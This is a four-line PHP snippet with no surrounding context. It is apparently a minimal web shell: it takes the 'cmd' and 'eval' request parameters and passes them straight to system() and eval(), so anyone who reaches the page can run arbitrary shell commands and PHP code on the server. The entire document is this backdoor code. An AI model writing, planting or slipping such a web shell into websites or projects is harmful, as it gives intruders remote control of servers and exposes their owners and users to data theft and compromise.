$cmd = $_GET["cmd"];
$eval = $_GET["eval"];
if ($cmd != "") system($cmd);
else if ($eval != "") eval($eval);